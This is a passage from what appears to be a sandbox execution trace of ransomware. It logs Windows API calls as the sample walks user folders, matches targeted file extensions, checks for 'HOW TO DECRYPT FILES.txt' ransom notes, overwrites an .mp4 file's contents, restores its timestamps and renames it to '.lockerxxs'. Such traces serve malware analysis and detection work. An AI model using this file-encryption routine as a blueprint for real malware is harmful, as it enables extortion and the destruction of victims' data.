0 [0092.000] lstrlenA (lpString="*.nd") returned 4 [0092.000] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.tlg") returned 0 [0092.000] lstrlenA (lpString="*.tlg") returned 5 [0092.000] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.lgb") returned 0 [0092.000] lstrlenA (lpString="*.lgb") returned 5 [0092.000] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.mov") returned 0 [0092.000] lstrlenA (lpString="*.mov") returned 5 [0092.000] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.xdw") returned 0 [0092.000] lstrlenA (lpString="*.xdw") returned 5 [0092.000] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.ods") returned 0 [0092.000] lstrlenA (lpString="*.ods") returned 5 [0092.000] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.wav") returned 0 [0092.000] lstrlenA (lpString="*.wav") returned 5 [0092.000] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.mp3") returned 0 [0092.000] lstrlenA (lpString="*.mp3") returned 5 [0092.000] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.aiff") returned 0 [0092.000] lstrlenA (lpString="*.aiff") returned 6 [0092.000] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.flac") returned 0 [0092.000] lstrlenA (lpString="*.flac") returned 6 [0092.000] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.m4a") returned 0 [0092.000] lstrlenA (lpString="*.m4a") returned 5 [0092.001] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf", pszSpec="*.csv") returned 0 [0092.001] lstrlenA (lpString="*.csv") returned 5 [0092.001] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc87932a0, ftCreationTime.dwHighDateTime=0x1d5e04c, ftLastAccessTime.dwLowDateTime=0x504d9280, ftLastAccessTime.dwHighDateTime=0x1d5e826, ftLastWriteTime.dwLowDateTime=0x504d9280, ftLastWriteTime.dwHighDateTime=0x1d5e826, nFileSizeHigh=0x0, nFileSizeLow=0xfd79, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLc5UqyA.swf", cAlternateFileName="")) returned 1 [0092.001] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.001] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="XLc5UqyA.swf") returned -1 [0092.001] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="XLc5UqyA.swf") returned -1 [0092.001] lstrcmpiA (lpString1="", lpString2="XLc5UqyA.swf") returned -1 [0092.001] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\1FpdUu4EPqD5NE4.swf") returned="1FpdUu4EPqD5NE4.swf" [0092.001] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\" [0092.001] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\") returned="" [0092.001] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\HOW TO DECRYPT FILES.txt" [0092.001] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\9xalyjeq2q4x vzulh\\su1 5rvwajb1mg_q1t\\how to decrypt files.txt")) returned 0x20 [0092.001] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\", lpString2="XLc5UqyA.swf" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\XLc5UqyA.swf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\XLc5UqyA.swf" [0092.001] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\XLc5UqyA.swf", pszSpec="*.ems") returned 0 [0092.001] lstrlenA (lpString="*.ems") returned 5 [0092.002] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\XLc5UqyA.swf", pszSpec="*.db") returned 0 [0092.002] lstrlenA (lpString="*.db") returned 4 [0092.002] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\XLc5UqyA.swf", pszSpec="*.dbf") returned 0 [0092.002] lstrlenA (lpString="*.dbf") returned 5 [0092.002] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\XLc5UqyA.swf", pszSpec="*.myox") returned 0 [0092.002] lstrlenA (lpString="*.myox") returned 6 [0092.002] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\XLc5UqyA.swf", pszSpec="*.myo") returned 0 [0092.002] lstrlenA (lpString="*.myo") returned 5 [0092.002] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\XLc5UqyA.swf", pszSpec="*.qbw") returned 0 [0092.002] lstrlenA (lpString="*.qbw") returned 5 [0092.002] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\XLc5UqyA.swf", pszSpec="*.qbb") returned 0 [0092.002] lstrlenA (lpString="*.qbb") returned 5 [0092.002] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\XLc5UqyA.swf", pszSpec="*.qbm") returned 0 [0092.002] lstrlenA (lpString="*.qbm") returned 5 [0092.002] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\XLc5UqyA.swf", pszSpec="*.qbo") returned 0 [0092.002] lstrlenA (lpString="*.qbo") returned 5 [0092.002] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\XLc5UqyA.swf", pszSpec="*.qbx") returned 0 [0092.002] lstrlenA (lpString="*.qbx") returned 5 [0092.002] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\Su1 5RVwAJB1MG_Q1T\\XLc5UqyA.swf", pszSpec="*.qba") returned 0 [0092.003] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc87932a0, ftCreationTime.dwHighDateTime=0x1d5e04c, ftLastAccessTime.dwLowDateTime=0x504d9280, ftLastAccessTime.dwHighDateTime=0x1d5e826, ftLastWriteTime.dwLowDateTime=0x504d9280, ftLastWriteTime.dwHighDateTime=0x1d5e826, nFileSizeHigh=0x0, nFileSizeLow=0xfd79, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLc5UqyA.swf", cAlternateFileName="")) returned 0 [0092.003] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0092.003] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd57a3e0, ftCreationTime.dwHighDateTime=0x1d5e05f, ftLastAccessTime.dwLowDateTime=0xbc21790, ftLastAccessTime.dwHighDateTime=0x1d5e4c4, ftLastWriteTime.dwLowDateTime=0xbc21790, ftLastWriteTime.dwHighDateTime=0x1d5e4c4, nFileSizeHigh=0x0, nFileSizeLow=0x145d6, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="WEV3YY1z2Nz5W5my3w.mp4", cAlternateFileName="WEV3YY~1.MP4")) returned 1 [0092.003] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.003] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WEV3YY1z2Nz5W5my3w.mp4") returned -1 [0092.003] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WEV3YY1z2Nz5W5my3w.mp4") returned -1 [0092.003] lstrcmpiA (lpString1="", lpString2="WEV3YY1z2Nz5W5my3w.mp4") returned -1 [0092.003] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\*.*") returned="*.*" [0092.003] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\" [0092.003] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\") returned="" [0092.003] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\HOW TO DECRYPT FILES.txt" [0092.003] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\9xalyjeq2q4x vzulh\\how to decrypt files.txt")) returned 0x20 [0092.004] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\", lpString2="WEV3YY1z2Nz5W5my3w.mp4" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\WEV3YY1z2Nz5W5my3w.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\WEV3YY1z2Nz5W5my3w.mp4" [0092.004] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\WEV3YY1z2Nz5W5my3w.mp4", pszSpec="*.ems") returned 0 [0092.004] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\WEV3YY1z2Nz5W5my3w.mp4" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\WEV3YY1z2Nz5W5my3w.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\WEV3YY1z2Nz5W5my3w.mp4" [0092.004] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\WEV3YY1z2Nz5W5my3w.mp4" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\WEV3YY1z2Nz5W5my3w.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\WEV3YY1z2Nz5W5my3w.mp4" [0092.004] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\WEV3YY1z2Nz5W5my3w.mp4", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\WEV3YY1z2Nz5W5my3w.mp4.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\WEV3YY1z2Nz5W5my3w.mp4." [0092.004] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\WEV3YY1z2Nz5W5my3w.mp4.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\WEV3YY1z2Nz5W5my3w.mp4.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\WEV3YY1z2Nz5W5my3w.mp4.lockerxxs" [0092.004] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\WEV3YY1z2Nz5W5my3w.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\9xalyjeq2q4x vzulh\\wev3yy1z2nz5w5my3w.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0092.005] GetFileSize (in: hFile=0x90, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x145d6 [0092.005] GetFileTime (in: hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xd57a3e0, dwHighDateTime=0x1d5e05f), lpLastAccessTime=0x407536*(dwLowDateTime=0xbc21790, dwHighDateTime=0x1d5e4c4), lpLastWriteTime=0x40753e*(dwLowDateTime=0xbc21790, dwHighDateTime=0x1d5e4c4)) returned 1 [0092.005] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0092.005] ReadFile (in: hFile=0x90, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x145b0, lpOverlapped=0x0) returned 1 [0092.008] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\WEV3YY1z2Nz5W5my3w.mp4") returned="WEV3YY1z2Nz5W5my3w.mp4" [0092.009] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0092.009] WriteFile (in: hFile=0x90, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x145b0, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x145b0, lpOverlapped=0x0) returned 1 [0092.010] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0092.010] CloseHandle (hObject=0x90) returned 1 [0092.010] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\WEV3YY1z2Nz5W5my3w.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\9xalyjeq2q4x vzulh\\wev3yy1z2nz5w5my3w.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\WEV3YY1z2Nz5W5my3w.mp4.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\9xalyjeq2q4x vzulh\\wev3yy1z2nz5w5my3w.mp4.lockerxxs")) returned 1 [0092.012] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ddce2d0, ftCreationTime.dwHighDateTime=0x1d5de71, ftLastAccessTime.dwLowDateTime=0x579cde30, ftLastAccessTime.dwHighDateTime=0x1d5da1e, ftLastWriteTime.dwLowDateTime=0x579cde30, ftLastWriteTime.dwHighDateTime=0x1d5da1e, nFileSizeHigh=0x0, nFileSizeLow=0x13861, dwReserved0=0x1c00031f, dwReserved1=0x4e00c4, cFileName="_no1JEuEkiQyy-2.swf", cAlternateFileName="_NO1JE~1.SWF")) returned 1 [0092.012] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.012] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="_no1JEuEkiQyy-2.swf") returned 1 [0092.012] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="_no1JEuEkiQyy-2.swf") returned 1 [0092.013] lstrcmpiA (lpString1="", lpString2="_no1JEuEkiQyy-2.swf") returned -1 [0092.013] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\WEV3YY1z2Nz5W5my3w.mp4") returned="WEV3YY1z2Nz5W5my3w.mp4" [0092.013] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\" [0092.013] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\") returned="" [0092.013] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\HOW TO DECRYPT FILES.txt" [0092.013] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\9xalyjeq2q4x vzulh\\how to decrypt files.txt")) returned 0x20 [0092.013] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\", lpString2="_no1JEuEkiQyy-2.swf" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf" [0092.013] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.ems") returned 0 [0092.013] lstrlenA (lpString="*.ems") returned 5 [0092.013] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.db") returned 0 [0092.013] lstrlenA (lpString="*.db") returned 4 [0092.013] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.dbf") returned 0 [0092.013] lstrlenA (lpString="*.dbf") returned 5 [0092.013] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.myox") returned 0 [0092.013] lstrlenA (lpString="*.myox") returned 6 [0092.013] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.myo") returned 0 [0092.013] lstrlenA (lpString="*.myo") returned 5 [0092.013] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.qbw") returned 0 [0092.013] lstrlenA (lpString="*.qbw") returned 5 [0092.014] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.qbb") returned 0 [0092.014] lstrlenA (lpString="*.qbb") returned 5 [0092.014] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\_no1JEuEkiQyy-2.swf", pszSpec="*.qbm") returned 0 [0092.014] lstrlenA (lpString="*.qbm") returned 5 [0092.014] PathMatchSpecA 